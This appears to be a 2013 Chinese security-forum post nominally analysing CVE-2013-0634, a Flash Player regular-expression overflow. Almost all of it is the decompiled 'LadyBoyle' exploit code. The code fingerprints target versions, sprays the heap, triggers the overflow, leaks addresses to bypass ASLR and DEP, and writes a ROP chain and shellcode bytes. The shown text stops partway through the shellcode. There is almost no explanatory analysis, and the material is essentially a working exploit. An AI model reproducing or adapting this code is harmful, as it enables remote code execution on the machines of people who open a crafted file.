首页
社区
课程
招聘
[新年快乐]CVE-2013-0634 POC Analysis
发表于: 2013-2-12 02:02 12760

[新年快乐]CVE-2013-0634 POC Analysis

2013-2-12 02:02
12760

新年再不用微博就彻底落伍啦,欢迎互粉
http://weibo.com/u/2853226971
1. 漏洞描述
Adobe Flash Player ActionScript 3.0处理正则表达式存在溢出导致任意代码执行
且EXP技巧非常之高可绕过ASLR+DEP
2. 测试环境
Adobe Flash Player 11.5.502.146
Office 2010
Windows XP SP3
3. 漏洞分析
LadyBoyle ActionScript:

package
{
    import __AS3__.vec.*;
    import flash.display.*;
    import flash.media.*;
    import flash.net.*;
    import flash.system.*;
    import flash.text.*;
    import flash.utils.*;

    public class LadyBoyle extends Sprite
    {
        private var the_x32_Class:Class;
        private var the_x64_Class:Class;
        public var version:Object;

        public function LadyBoyle()
        {
            var _loc_2:* = null;
            var _loc_23:* = NaN;
            var _loc_24:* = null;
            var _loc_25:* = 0;
            var _loc_26:* = 0;
            var _loc_27:* = null;
            var _loc_28:* = null;
            var _loc_29:* = null;
            var _loc_30:* = null;
            var _loc_31:* = 0;
            var _loc_32:* = 0;
            var _loc_33:* = 0;
            var _loc_34:* = undefined;
            var _loc_35:* = null;
            var _loc_36:* = 0;
            var _loc_37:* = 0;
            var _loc_38:* = 0;
            var _loc_39:* = 0;
            var _loc_40:* = 0;
            this.the_x32_Class = LadyBoyle_the_x32_Class;
            this.the_x64_Class = LadyBoyle_the_x64_Class;
            this.version = Capabilities.version.toLowerCase().toString();
            var _loc_1:* = 0;
            var _loc_3:* = 0;
            var _loc_4:* = new ByteArray();
            var _loc_5:* = new Vector.<Object>(0);
            var _loc_6:* = new Sound();
            var _loc_7:* = 0;
            var _loc_8:* = 0;
            var _loc_9:* = 0;
            var _loc_10:* = 0;
            var _loc_11:* = 0;
            var _loc_12:* = 0;
            var _loc_13:* = 0;
            var _loc_14:* = 0;
            var _loc_15:* = 0;
            var _loc_16:* = 0;
            var _loc_17:* = _loc_4;
            switch(this.version)
            {
                case "win 11,5,502,146":
                {
                    break;
                }
                case "win 11,5,502,135":
                {
                    break;
                }
                case "win 11,5,502,110":
                {
                    break;
                }
                case "win 11,4,402,287":
                {
                    break;
                }
                case "win 11,4,402,278":
                {
                    break;
                }
                case "win 11,4,402,265":
                {
                    break;
                }
                default:
                {
                    return this.empty();
                    break;
                }
            }
            var _loc_18:* = SharedObject.getLocal("ImplentenstWell");
            if (SharedObject.getLocal("ImplentenstWell").size != 0)
            {
                _loc_23 = new Date().time - _loc_18.data.now;
                if (_loc_23 > 7 * 24 * 60 * 60 * 1000)
                {
                    _loc_18.close();
                }
                else
                {
                    return this.empty();
                }
            }
            var _loc_19:* = Capabilities.os.toLowerCase().toString();
            switch(_loc_19)
            {
                case "windows 7":
                {
                    break;
                }
                case "windows server 2008 r2":
                {
                    break;
                }
                case "windows server 2008":
                {
                    break;
                }
                case "windows server 2003 r2":
                {
                    break;
                }
                case "windows server 2003":
                {
                    break;
                }
                case "windows xp":
                {
                    break;
                }
                case "windows vista":
                {
                    break;
                }
                default:
                {
                    return this.empty();
                    break;
                }
            }
            _loc_1 = 0;
            while (_loc_1 < 0x4000)
            {
                
                _loc_24 = "";
                _loc_3 = 0;
                while (_loc_3 < 42)
                {
                    
                    _loc_24 = _loc_24 + String.fromCharCode(this.randRange(97, 122));
                    _loc_3 = _loc_3 + 1;
                }
                new Vector.<Object>(16)[0] = new RegExp(_loc_24, "");
                new Vector.<Number>(16)[0] = 0;
                new Vector.<Number>(16)[1] = 0;
                new Vector.<Number>(16)[2] = 0;
                new Vector.<Number>(16)[3] = 0;
                new Vector.<Number>(16)[4] = 0;
                new Vector.<Number>(16)[5] = 0;
                new Vector.<Number>(16)[6] = 0;
                new Vector.<Number>(16)[7] = 0;
                new Vector.<Number>(16)[8] = 0;
                new Vector.<Number>(16)[9] = 0;
                new Vector.<Number>(16)[10] = 0;
                new Vector.<Number>(16)[11] = 0;
                new Vector.<Number>(16)[12] = 0;
                new Vector.<Number>(16)[13] = 0;
                new Vector.<Number>(16)[14] = 0;
                new Vector.<Number>(16)[15] = 1;
                new Vector.<Object>(16)[1] = new Vector.<Number>(16);
                new Vector.<Number>(16)[0] = 0;
                new Vector.<Number>(16)[1] = 0;
                new Vector.<Number>(16)[2] = 0;
                new Vector.<Number>(16)[3] = 0;
                new Vector.<Number>(16)[4] = 0;
                new Vector.<Number>(16)[5] = 0;
                new Vector.<Number>(16)[6] = 0;
                new Vector.<Number>(16)[7] = 0;
                new Vector.<Number>(16)[8] = 0;
                new Vector.<Number>(16)[9] = 0;
                new Vector.<Number>(16)[10] = 0;
                new Vector.<Number>(16)[11] = 0;
                new Vector.<Number>(16)[12] = 0;
                new Vector.<Number>(16)[13] = 0;
                new Vector.<Number>(16)[14] = 0;
                new Vector.<Number>(16)[15] = 1;
                new Vector.<Object>(16)[2] = new Vector.<Number>(16);
                new Vector.<Number>(16)[0] = 0;
                new Vector.<Number>(16)[1] = 0;
                new Vector.<Number>(16)[2] = 0;
                new Vector.<Number>(16)[3] = 0;
                new Vector.<Number>(16)[4] = 0;
                new Vector.<Number>(16)[5] = 0;
                new Vector.<Number>(16)[6] = 0;
                new Vector.<Number>(16)[7] = 0;
                new Vector.<Number>(16)[8] = 0;
                new Vector.<Number>(16)[9] = 0;
                new Vector.<Number>(16)[10] = 0;
                new Vector.<Number>(16)[11] = 0;
                new Vector.<Number>(16)[12] = 0;
                new Vector.<Number>(16)[13] = 0;
                new Vector.<Number>(16)[14] = 0;
                new Vector.<Number>(16)[15] = 1;
                new Vector.<Object>(16)[3] = new Vector.<Number>(16);
                new Vector.<Number>(16)[0] = 0;
                new Vector.<Number>(16)[1] = 0;
                new Vector.<Number>(16)[2] = 0;
                new Vector.<Number>(16)[3] = 0;
                new Vector.<Number>(16)[4] = 0;
                new Vector.<Number>(16)[5] = 0;
                new Vector.<Number>(16)[6] = 0;
                new Vector.<Number>(16)[7] = 0;
                new Vector.<Number>(16)[8] = 0;
                new Vector.<Number>(16)[9] = 0;
                new Vector.<Number>(16)[10] = 0;
                new Vector.<Number>(16)[11] = 0;
                new Vector.<Number>(16)[12] = 0;
                new Vector.<Number>(16)[13] = 0;
                new Vector.<Number>(16)[14] = 0;
                new Vector.<Number>(16)[15] = 1;
                new Vector.<Object>(16)[4] = new Vector.<Number>(16);
                new Vector.<Number>(16)[0] = 0;
                new Vector.<Number>(16)[1] = 0;
                new Vector.<Number>(16)[2] = 0;
                new Vector.<Number>(16)[3] = 0;
                new Vector.<Number>(16)[4] = 0;
                new Vector.<Number>(16)[5] = 0;
                new Vector.<Number>(16)[6] = 0;
                new Vector.<Number>(16)[7] = 0;
                new Vector.<Number>(16)[8] = 0;
                new Vector.<Number>(16)[9] = 0;
                new Vector.<Number>(16)[10] = 0;
                new Vector.<Number>(16)[11] = 0;
                new Vector.<Number>(16)[12] = 0;
                new Vector.<Number>(16)[13] = 0;
                new Vector.<Number>(16)[14] = 0;
                new Vector.<Number>(16)[15] = 1;
                new Vector.<Object>(16)[5] = new Vector.<Number>(16);
                new Vector.<Number>(16)[0] = 0;
                new Vector.<Number>(16)[1] = 0;
                new Vector.<Number>(16)[2] = 0;
                new Vector.<Number>(16)[3] = 0;
                new Vector.<Number>(16)[4] = 0;
                new Vector.<Number>(16)[5] = 0;
                new Vector.<Number>(16)[6] = 0;
                new Vector.<Number>(16)[7] = 0;
                new Vector.<Number>(16)[8] = 0;
                new Vector.<Number>(16)[9] = 0;
                new Vector.<Number>(16)[10] = 0;
                new Vector.<Number>(16)[11] = 0;
                new Vector.<Number>(16)[12] = 0;
                new Vector.<Number>(16)[13] = 0;
                new Vector.<Number>(16)[14] = 0;
                new Vector.<Number>(16)[15] = 1;
                new Vector.<Object>(16)[6] = new Vector.<Number>(16);
                new Vector.<Number>(16)[0] = 0;
                new Vector.<Number>(16)[1] = 0;
                new Vector.<Number>(16)[2] = 0;
                new Vector.<Number>(16)[3] = 0;
                new Vector.<Number>(16)[4] = 0;
                new Vector.<Number>(16)[5] = 0;
                new Vector.<Number>(16)[6] = 0;
                new Vector.<Number>(16)[7] = 0;
                new Vector.<Number>(16)[8] = 0;
                new Vector.<Number>(16)[9] = 0;
                new Vector.<Number>(16)[10] = 0;
                new Vector.<Number>(16)[11] = 0;
                new Vector.<Number>(16)[12] = 0;
                new Vector.<Number>(16)[13] = 0;
                new Vector.<Number>(16)[14] = 0;
                new Vector.<Number>(16)[15] = 1;
                new Vector.<Object>(16)[7] = new Vector.<Number>(16);
                new Vector.<Number>(16)[0] = 0;
                new Vector.<Number>(16)[1] = 0;
                new Vector.<Number>(16)[2] = 0;
                new Vector.<Number>(16)[3] = 0;
                new Vector.<Number>(16)[4] = 0;
                new Vector.<Number>(16)[5] = 0;
                new Vector.<Number>(16)[6] = 0;
                new Vector.<Number>(16)[7] = 0;
                new Vector.<Number>(16)[8] = 0;
                new Vector.<Number>(16)[9] = 0;
                new Vector.<Number>(16)[10] = 0;
                new Vector.<Number>(16)[11] = 0;
                new Vector.<Number>(16)[12] = 0;
                new Vector.<Number>(16)[13] = 0;
                new Vector.<Number>(16)[14] = 0;
                new Vector.<Number>(16)[15] = 1;
                new Vector.<Object>(16)[8] = new Vector.<Number>(16);
                new Vector.<Object>(32)[0] = null;
                new Vector.<Object>(32)[1] = _loc_6;
                new Vector.<Object>(32)[2] = _loc_4;
                new Vector.<Object>(32)[3] = _loc_4;
                new Vector.<Object>(32)[4] = _loc_4;
                new Vector.<Object>(32)[5] = _loc_4;
                new Vector.<Object>(32)[6] = _loc_4;
                new Vector.<Object>(32)[7] = _loc_4;
                new Vector.<Object>(32)[8] = _loc_4;
                new Vector.<Object>(32)[9] = _loc_4;
                new Vector.<Object>(32)[10] = _loc_4;
                new Vector.<Object>(32)[11] = _loc_4;
                new Vector.<Object>(32)[12] = _loc_4;
                new Vector.<Object>(32)[13] = _loc_4;
                new Vector.<Object>(32)[14] = _loc_4;
                new Vector.<Object>(32)[15] = _loc_4;
                new Vector.<Object>(32)[16] = _loc_4;
                new Vector.<Object>(32)[17] = _loc_4;
                new Vector.<Object>(32)[18] = _loc_4;
                new Vector.<Object>(32)[19] = _loc_4;
                new Vector.<Object>(32)[20] = _loc_4;
                new Vector.<Object>(32)[21] = _loc_4;
                new Vector.<Object>(32)[22] = _loc_4;
                new Vector.<Object>(32)[23] = _loc_4;
                new Vector.<Object>(32)[24] = _loc_4;
                new Vector.<Object>(32)[25] = _loc_4;
                new Vector.<Object>(32)[26] = _loc_4;
                new Vector.<Object>(32)[27] = _loc_4;
                new Vector.<Object>(32)[28] = _loc_4;
                new Vector.<Object>(32)[29] = _loc_4;
                new Vector.<Object>(32)[30] = _loc_4;
                new Vector.<Object>(32)[31] = _loc_4;
                new Vector.<Object>(16)[9] = new Vector.<Object>(32);
                new Vector.<Object>(32)[0] = null;
                new Vector.<Object>(32)[1] = _loc_6;
                new Vector.<Object>(32)[2] = _loc_4;
                new Vector.<Object>(32)[3] = _loc_4;
                new Vector.<Object>(32)[4] = _loc_4;
                new Vector.<Object>(32)[5] = _loc_4;
                new Vector.<Object>(32)[6] = _loc_4;
                new Vector.<Object>(32)[7] = _loc_4;
                new Vector.<Object>(32)[8] = _loc_4;
                new Vector.<Object>(32)[9] = _loc_4;
                new Vector.<Object>(32)[10] = _loc_4;
                new Vector.<Object>(32)[11] = _loc_4;
                new Vector.<Object>(32)[12] = _loc_4;
                new Vector.<Object>(32)[13] = _loc_4;
                new Vector.<Object>(32)[14] = _loc_4;
                new Vector.<Object>(32)[15] = _loc_4;
                new Vector.<Object>(32)[16] = _loc_4;
                new Vector.<Object>(32)[17] = _loc_4;
                new Vector.<Object>(32)[18] = _loc_4;
                new Vector.<Object>(32)[19] = _loc_4;
                new Vector.<Object>(32)[20] = _loc_4;
                new Vector.<Object>(32)[21] = _loc_4;
                new Vector.<Object>(32)[22] = _loc_4;
                new Vector.<Object>(32)[23] = _loc_4;
                new Vector.<Object>(32)[24] = _loc_4;
                new Vector.<Object>(32)[25] = _loc_4;
                new Vector.<Object>(32)[26] = _loc_4;
                new Vector.<Object>(32)[27] = _loc_4;
                new Vector.<Object>(32)[28] = _loc_4;
                new Vector.<Object>(32)[29] = _loc_4;
                new Vector.<Object>(32)[30] = _loc_4;
                new Vector.<Object>(32)[31] = _loc_4;
                new Vector.<Object>(16)[10] = new Vector.<Object>(32);
                new Vector.<Object>(32)[0] = null;
                new Vector.<Object>(32)[1] = _loc_6;
                new Vector.<Object>(32)[2] = _loc_4;
                new Vector.<Object>(32)[3] = _loc_4;
                new Vector.<Object>(32)[4] = _loc_4;
                new Vector.<Object>(32)[5] = _loc_4;
                new Vector.<Object>(32)[6] = _loc_4;
                new Vector.<Object>(32)[7] = _loc_4;
                new Vector.<Object>(32)[8] = _loc_4;
                new Vector.<Object>(32)[9] = _loc_4;
                new Vector.<Object>(32)[10] = _loc_4;
                new Vector.<Object>(32)[11] = _loc_4;
                new Vector.<Object>(32)[12] = _loc_4;
                new Vector.<Object>(32)[13] = _loc_4;
                new Vector.<Object>(32)[14] = _loc_4;
                new Vector.<Object>(32)[15] = _loc_4;
                new Vector.<Object>(32)[16] = _loc_4;
                new Vector.<Object>(32)[17] = _loc_4;
                new Vector.<Object>(32)[18] = _loc_4;
                new Vector.<Object>(32)[19] = _loc_4;
                new Vector.<Object>(32)[20] = _loc_4;
                new Vector.<Object>(32)[21] = _loc_4;
                new Vector.<Object>(32)[22] = _loc_4;
                new Vector.<Object>(32)[23] = _loc_4;
                new Vector.<Object>(32)[24] = _loc_4;
                new Vector.<Object>(32)[25] = _loc_4;
                new Vector.<Object>(32)[26] = _loc_4;
                new Vector.<Object>(32)[27] = _loc_4;
                new Vector.<Object>(32)[28] = _loc_4;
                new Vector.<Object>(32)[29] = _loc_4;
                new Vector.<Object>(32)[30] = _loc_4;
                new Vector.<Object>(32)[31] = _loc_4;
                new Vector.<Object>(16)[11] = new Vector.<Object>(32);
                new Vector.<Object>(32)[0] = null;
                new Vector.<Object>(32)[1] = _loc_6;
                new Vector.<Object>(32)[2] = _loc_4;
                new Vector.<Object>(32)[3] = _loc_4;
                new Vector.<Object>(32)[4] = _loc_4;
                new Vector.<Object>(32)[5] = _loc_4;
                new Vector.<Object>(32)[6] = _loc_4;
                new Vector.<Object>(32)[7] = _loc_4;
                new Vector.<Object>(32)[8] = _loc_4;
                new Vector.<Object>(32)[9] = _loc_4;
                new Vector.<Object>(32)[10] = _loc_4;
                new Vector.<Object>(32)[11] = _loc_4;
                new Vector.<Object>(32)[12] = _loc_4;
                new Vector.<Object>(32)[13] = _loc_4;
                new Vector.<Object>(32)[14] = _loc_4;
                new Vector.<Object>(32)[15] = _loc_4;
                new Vector.<Object>(32)[16] = _loc_4;
                new Vector.<Object>(32)[17] = _loc_4;
                new Vector.<Object>(32)[18] = _loc_4;
                new Vector.<Object>(32)[19] = _loc_4;
                new Vector.<Object>(32)[20] = _loc_4;
                new Vector.<Object>(32)[21] = _loc_4;
                new Vector.<Object>(32)[22] = _loc_4;
                new Vector.<Object>(32)[23] = _loc_4;
                new Vector.<Object>(32)[24] = _loc_4;
                new Vector.<Object>(32)[25] = _loc_4;
                new Vector.<Object>(32)[26] = _loc_4;
                new Vector.<Object>(32)[27] = _loc_4;
                new Vector.<Object>(32)[28] = _loc_4;
                new Vector.<Object>(32)[29] = _loc_4;
                new Vector.<Object>(32)[30] = _loc_4;
                new Vector.<Object>(32)[31] = _loc_4;
                new Vector.<Object>(16)[12] = new Vector.<Object>(32);
                new Vector.<Object>(32)[0] = null;
                new Vector.<Object>(32)[1] = _loc_6;
                new Vector.<Object>(32)[2] = _loc_4;
                new Vector.<Object>(32)[3] = _loc_4;
                new Vector.<Object>(32)[4] = _loc_4;
                new Vector.<Object>(32)[5] = _loc_4;
                new Vector.<Object>(32)[6] = _loc_4;
                new Vector.<Object>(32)[7] = _loc_4;
                new Vector.<Object>(32)[8] = _loc_4;
                new Vector.<Object>(32)[9] = _loc_4;
                new Vector.<Object>(32)[10] = _loc_4;
                new Vector.<Object>(32)[11] = _loc_4;
                new Vector.<Object>(32)[12] = _loc_4;
                new Vector.<Object>(32)[13] = _loc_4;
                new Vector.<Object>(32)[14] = _loc_4;
                new Vector.<Object>(32)[15] = _loc_4;
                new Vector.<Object>(32)[16] = _loc_4;
                new Vector.<Object>(32)[17] = _loc_4;
                new Vector.<Object>(32)[18] = _loc_4;
                new Vector.<Object>(32)[19] = _loc_4;
                new Vector.<Object>(32)[20] = _loc_4;
                new Vector.<Object>(32)[21] = _loc_4;
                new Vector.<Object>(32)[22] = _loc_4;
                new Vector.<Object>(32)[23] = _loc_4;
                new Vector.<Object>(32)[24] = _loc_4;
                new Vector.<Object>(32)[25] = _loc_4;
                new Vector.<Object>(32)[26] = _loc_4;
                new Vector.<Object>(32)[27] = _loc_4;
                new Vector.<Object>(32)[28] = _loc_4;
                new Vector.<Object>(32)[29] = _loc_4;
                new Vector.<Object>(32)[30] = _loc_4;
                new Vector.<Object>(32)[31] = _loc_4;
                new Vector.<Object>(16)[13] = new Vector.<Object>(32);
                new Vector.<Object>(32)[0] = null;
                new Vector.<Object>(32)[1] = _loc_6;
                new Vector.<Object>(32)[2] = _loc_4;
                new Vector.<Object>(32)[3] = _loc_4;
                new Vector.<Object>(32)[4] = _loc_4;
                new Vector.<Object>(32)[5] = _loc_4;
                new Vector.<Object>(32)[6] = _loc_4;
                new Vector.<Object>(32)[7] = _loc_4;
                new Vector.<Object>(32)[8] = _loc_4;
                new Vector.<Object>(32)[9] = _loc_4;
                new Vector.<Object>(32)[10] = _loc_4;
                new Vector.<Object>(32)[11] = _loc_4;
                new Vector.<Object>(32)[12] = _loc_4;
                new Vector.<Object>(32)[13] = _loc_4;
                new Vector.<Object>(32)[14] = _loc_4;
                new Vector.<Object>(32)[15] = _loc_4;
                new Vector.<Object>(32)[16] = _loc_4;
                new Vector.<Object>(32)[17] = _loc_4;
                new Vector.<Object>(32)[18] = _loc_4;
                new Vector.<Object>(32)[19] = _loc_4;
                new Vector.<Object>(32)[20] = _loc_4;
                new Vector.<Object>(32)[21] = _loc_4;
                new Vector.<Object>(32)[22] = _loc_4;
                new Vector.<Object>(32)[23] = _loc_4;
                new Vector.<Object>(32)[24] = _loc_4;
                new Vector.<Object>(32)[25] = _loc_4;
                new Vector.<Object>(32)[26] = _loc_4;
                new Vector.<Object>(32)[27] = _loc_4;
                new Vector.<Object>(32)[28] = _loc_4;
                new Vector.<Object>(32)[29] = _loc_4;
                new Vector.<Object>(32)[30] = _loc_4;
                new Vector.<Object>(32)[31] = _loc_4;
                new Vector.<Object>(16)[14] = new Vector.<Object>(32);
                new Vector.<Object>(32)[0] = null;
                new Vector.<Object>(32)[1] = _loc_6;
                new Vector.<Object>(32)[2] = _loc_4;
                new Vector.<Object>(32)[3] = _loc_4;
                new Vector.<Object>(32)[4] = _loc_4;
                new Vector.<Object>(32)[5] = _loc_4;
                new Vector.<Object>(32)[6] = _loc_4;
                new Vector.<Object>(32)[7] = _loc_4;
                new Vector.<Object>(32)[8] = _loc_4;
                new Vector.<Object>(32)[9] = _loc_4;
                new Vector.<Object>(32)[10] = _loc_4;
                new Vector.<Object>(32)[11] = _loc_4;
                new Vector.<Object>(32)[12] = _loc_4;
                new Vector.<Object>(32)[13] = _loc_4;
                new Vector.<Object>(32)[14] = _loc_4;
                new Vector.<Object>(32)[15] = _loc_4;
                new Vector.<Object>(32)[16] = _loc_4;
                new Vector.<Object>(32)[17] = _loc_4;
                new Vector.<Object>(32)[18] = _loc_4;
                new Vector.<Object>(32)[19] = _loc_4;
                new Vector.<Object>(32)[20] = _loc_4;
                new Vector.<Object>(32)[21] = _loc_4;
                new Vector.<Object>(32)[22] = _loc_4;
                new Vector.<Object>(32)[23] = _loc_4;
                new Vector.<Object>(32)[24] = _loc_4;
                new Vector.<Object>(32)[25] = _loc_4;
                new Vector.<Object>(32)[26] = _loc_4;
                new Vector.<Object>(32)[27] = _loc_4;
                new Vector.<Object>(32)[28] = _loc_4;
                new Vector.<Object>(32)[29] = _loc_4;
                new Vector.<Object>(32)[30] = _loc_4;
                new Vector.<Object>(32)[31] = _loc_4;
                new Vector.<Object>(16)[15] = new Vector.<Object>(32);
                _loc_5[_loc_1] = new Vector.<Object>(16);
                _loc_1 = _loc_1 + 1;
            }
            _loc_1 = 0x2012;
            while (_loc_1 < (0x4000 - 1))
            {
                
                if (_loc_1 % 2 != 0)
                {
                    _loc_5[_loc_1][2] = null;
                }
                _loc_1 = _loc_1 + 1;
            }
            _loc_2 = "(?i)()()(?-i)||||||||||||||||||||||";
            var _loc_20:* = new RegExp(_loc_2, "");
            var _loc_21:* = false;
            var _loc_22:* = 0;
            _loc_1 = 0;
            while (_loc_1 < 0x4000)
            {
                
                if (_loc_21)
                {
                    break;
                }
                _loc_8 = 1;
                while (_loc_8 <= 8)
                {
                    
                    try
                    {
                        if ((_loc_5[_loc_1][_loc_8] as Vector.<Number>).length > 17)
                        {
                            _loc_7 = _loc_1;
                            _loc_22 = _loc_8;
                            _loc_21 = true;
                            break;
                        }
                    }
                    catch (e:Error)
                    {
                    }
                    _loc_8 = _loc_8 + 1;
                }
                _loc_1 = _loc_1 + 1;
            }
            if (!_loc_21)
            {
                while (1)
                {
                    
                }
            }
            if (this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17)[0] == 16)
            {
                _loc_9 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17)[1];
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[17] = this.UintToDouble(0xffffffff, _loc_9);
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[18] = this.UintToDouble(0x41414141, 0);
                _loc_21 = false;
                _loc_1 = 0;
                while (_loc_1 < 0x4000)
                {
                    
                    if (_loc_21)
                    {
                        break;
                    }
                    _loc_8 = 1;
                    while (_loc_8 <= 8)
                    {
                        
                        try
                        {
                            if (this.ReadDouble(_loc_5[_loc_1][_loc_8] as Vector.<Number>, 0)[0] == 0x41414141)
                            {
                                _loc_7 = _loc_1;
                                _loc_22 = _loc_8;
                                _loc_21 = true;
                                break;
                            }
                        }
                        catch (e:Error)
                        {
                        }
                        _loc_8 = _loc_8 + 1;
                    }
                    _loc_1 = _loc_1 + 1;
                }
                if (!_loc_21)
                {
                    while (1)
                    {
                        
                    }
                }
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1fffffed] = this.UintToDouble(16, _loc_9);
                _loc_1 = 0;
                while (_loc_1 < 0x1000)
                {
                    
                    if (this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1)[1] == 32 && this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, (_loc_1 + 1))[0] == 1)
                    {
                        _loc_11 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, (_loc_1 + 1))[1] & 0xfffffff8;
                        _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1 + 2)[0] & 0xfffffff8;
                        _loc_13 = _loc_12;
                        break;
                    }
                    _loc_1 = _loc_1 + 1;
                }
                if (_loc_1 == 0x1000)
                {
                    (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1fffffff] = this.UintToDouble(16, _loc_9);
                    return;
                }
                _loc_1 = 0;
                while (_loc_1 < 0x4000)
                {
                    
                    _loc_8 = 1;
                    while (_loc_8 <= 8)
                    {
                        
                        if (!(_loc_1 == _loc_7 && _loc_8 == _loc_22))
                        {
                            _loc_5[_loc_1][_loc_8] = null;
                        }
                        _loc_8 = _loc_8 + 1;
                    }
                    _loc_1 = _loc_1 + 1;
                }
                _loc_1 = 1;
                while (_loc_1 < 4)
                {
                    
                    _loc_29 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17 * _loc_1 + (_loc_1 - 1));
                    _loc_30 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17 * (_loc_1 + 1) + _loc_1);
                    if (_loc_29[1] == _loc_9 && _loc_30[1] == _loc_9 && _loc_29[1] < _loc_29[0] && _loc_30[1] < _loc_30[0] && _loc_30[0] - _loc_29[0] == 144)
                    {
                        _loc_10 = _loc_29[0] - 144 * (_loc_1 + 1);
                        break;
                    }
                    _loc_1 = _loc_1 + 1;
                }
                if (_loc_10 == 0)
                {
                    (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1fffffff] = this.UintToDouble(16, _loc_9);
                    return;
                }
                _loc_1 = 0;
                while (_loc_1 < 1024 * 100)
                {
                    
                    _loc_17.writeUnsignedInt(0x41414141);
                    _loc_1 = _loc_1 + 1;
                }
                _loc_15 = (_loc_12 + 64 - _loc_10 - 8) / 8;
                _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_15 = (_loc_12 + 8 - _loc_10 - 8) / 8;
                _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_12 = _loc_12 + _loc_17.position;
                _loc_14 = _loc_17.position;
                _loc_15 = (_loc_11 - _loc_10 - 8) / 8;
                _loc_16 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_25 = 0;
                _loc_26 = 0;
                _loc_27 = Capabilities.version.toLowerCase();
                switch(_loc_27)
                {
                    case "win 11,5,502,146":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x1c0dc8;
                            _loc_26 = _loc_16 - 0x8c500;
                        }
                        break;
                    }
                    case "win 11,5,502,135":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x2293ab;
                            _loc_26 = _loc_16 - 0x8c590;
                        }
                        break;
                    }
                    case "win 11,5,502,110":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x186a6e;
                            _loc_26 = _loc_16 - 0x8c3d8;
                        }
                        break;
                    }
                    case "win 11,4,402,287":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x469196;
                            _loc_26 = _loc_16 - 0x8c2f4;
                        }
                        break;
                    }
                    case "win 11,4,402,278":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x12bca1;
                            _loc_26 = _loc_16 - 0x8c1b4;
                        }
                        break;
                    }
                    case "win 11,4,402,265":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x78f07b;
                            _loc_26 = _loc_16 - 0x8c1b4;
                        }
                        break;
                    }
                    default:
                    {
                        (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1fffffff] = this.UintToDouble(16, _loc_9);
                        return;
                        break;
                    }
                }
                if (_loc_27 == "win 11,5,502,110" || _loc_27 == "win 11,5,502,135" || _loc_27 == "win 11,5,502,146")
                {
                    _loc_15 = (_loc_26 - _loc_10 - 8) / 8;
                    _loc_26 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                }
                else
                {
                    _loc_15 = (_loc_26 - 4 - _loc_10 - 8) / 8;
                    _loc_26 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[1];
                }
                _loc_17.endian = Endian.LITTLE_ENDIAN;
                _loc_17.position = _loc_17.position + 112;
                _loc_17.writeUnsignedInt(_loc_25);
                _loc_17.position = _loc_17.position - 112 - 4;
                _loc_17.writeUnsignedInt(_loc_26); // ROP Chain
                _loc_17.writeUnsignedInt(_loc_12 + 136);
                _loc_17.writeUnsignedInt(_loc_12);
                _loc_17.writeUnsignedInt(0x2000);
                _loc_17.writeUnsignedInt(0x1000);
                _loc_17.writeUnsignedInt(64);
                _loc_17.position = _loc_17.position + 112;
                _loc_17.writeUnsignedInt(0xec8390cc);
                _loc_17.writeUnsignedInt(0x64db3370);
                _loc_17.writeUnsignedInt(0x8b185b8b);
                _loc_17.writeUnsignedInt(0x5b8b305b);
                _loc_17.writeUnsignedInt(0x1c5b8b0c);
                _loc_17.writeUnsignedInt(0x8b08538b);
                _loc_17.writeUnsignedInt(0x7c8b3c7a);
                _loc_17.writeUnsignedInt(0xbc8d2c3a);
                _loc_17.writeUnsignedInt(0xe0003a);
                _loc_17.writeUnsignedInt(0x408bb800);
                _loc_17.writeUnsignedInt(0x739c330);
                _loc_17.writeUnsignedInt(0xeb470374);
                _loc_17.writeUnsignedInt(0x68ef8bf9);
                _loc_17.writeUnsignedInt(0x6c0065);
                _loc_17.writeUnsignedInt(0x6e007268);
                _loc_17.writeUnsignedInt(0x6b6800);
                _loc_17.writeUnsignedInt(0x33fc0065);
                _loc_17.writeUnsignedInt(0x8b1b8bc9);
                _loc_17.writeUnsignedInt(0x207b8bf4);
                _loc_17.writeUnsignedInt(0xa7f303b1);
                _loc_17.writeUnsignedInt(0x5b8bf375);
                _loc_17.writeUnsignedInt(0x3c538b08);
                _loc_17.writeUnsignedInt(0x781a548b);
                _loc_17.writeUnsignedInt(0xec1a448d);
                _loc_17.writeUnsignedInt(0x548bd5ff);
                _loc_17.writeUnsignedInt(0xd303201a);
                _loc_17.writeUnsignedInt(0xc933c303);
                _loc_17.writeUnsignedInt(0x10e8);
                _loc_17.writeUnsignedInt(0x74655300);
                _loc_17.writeUnsignedInt(0x65726854);
                _loc_17.writeUnsignedInt(0x6f436461);
                _loc_17.writeUnsignedInt(0x7865746e);
                _loc_17.writeUnsignedInt(0x24348b74);
